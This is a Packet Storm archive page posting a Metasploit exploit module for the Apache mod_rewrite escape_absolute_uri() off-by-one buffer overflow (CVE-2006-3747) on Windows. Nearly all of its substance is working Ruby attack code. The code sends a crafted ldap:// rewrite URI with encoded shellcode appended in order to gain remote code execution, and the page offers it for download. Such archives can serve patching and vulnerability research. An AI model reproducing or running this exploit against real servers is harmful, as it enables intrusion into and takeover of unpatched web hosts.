exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

apache-mod-rewrite.rb.txt

apache-mod-rewrite.rb.txt
Posted Jan 7, 2008
Authored by Marcin Kozlowski

Apache mod_rewrite escape_absolute_uri() off-by-one buffer overflow Metasploit exploit module. This affects Apache versions 1.3.28 through 1.3.36, 2.0.46 through 2.0.58, and 2.2.1 through 2.2.2.

tags | exploit, overflow
advisories | CVE-2006-3747
SHA-256 | 503139768b0cda278959c2bc8df18f7cb0aee2077db8a28468990531d48c3000

apache-mod-rewrite.rb.txt

Change Mirror Download
require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_mod_rewrite < Msf::Exploit::Remote

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Mod_Rewrite escape_absolute_uri() Off-By-One Buffer Overflow',
'Description' => %q{
This module exploits a off-by-one buffer overflow. RewriteRule must be enabled and rule must meets this criteria:
* beginning of the rewritten URL is controlled.
* flags on the rule do not include the Forbidden (F), Gone (G), or NoEscape (NE) flag
},
'Author' => [ 'Marcin Kozlowski' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 0001 $',
'References' =>
[
['CVE', '2006-3747'],
['BID', '19204'],
['OSVDB', '27588'],

],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
['Apache 1.3 branch (>1.3.28 and <1.3.37), Apache 2.0 branch (2.0.46 and <2.0.59), Apache 2.2 branch (>2.2.0 and <2.2.3)', {'Ret' => 0x90909090 }], # our ret is NOP, since our shellcode is shortly after and will be execute next
],
'DisclosureDate' => 'Aug 28 2006'))

register_options(
[
OptString.new('REWRITEPATH', [true, "Rewrite path"]),
Opt::RPORT(80)
], self.class )
end

def exploit
connect

rewritepath = datastore['REWRITEPATH']


uri = "/#{rewritepath}/ldap://"+rand_text_alphanumeric(rand(16))+"/"+rand_text_alphanumeric(rand(32))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(16))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f%90"
uri += payload.encoded


res = "GET #{uri} HTTP/1.0\r\n\r\n"
print_status("Trying ...")
sock.put(res)
sock.close

handler
disconnect
end



end
end
Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    32 Files
  • 6
    Jun 6th
    39 Files
  • 7
    Jun 7th
    22 Files
  • 8
    Jun 8th
    17 Files
  • 9
    Jun 9th
    20 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close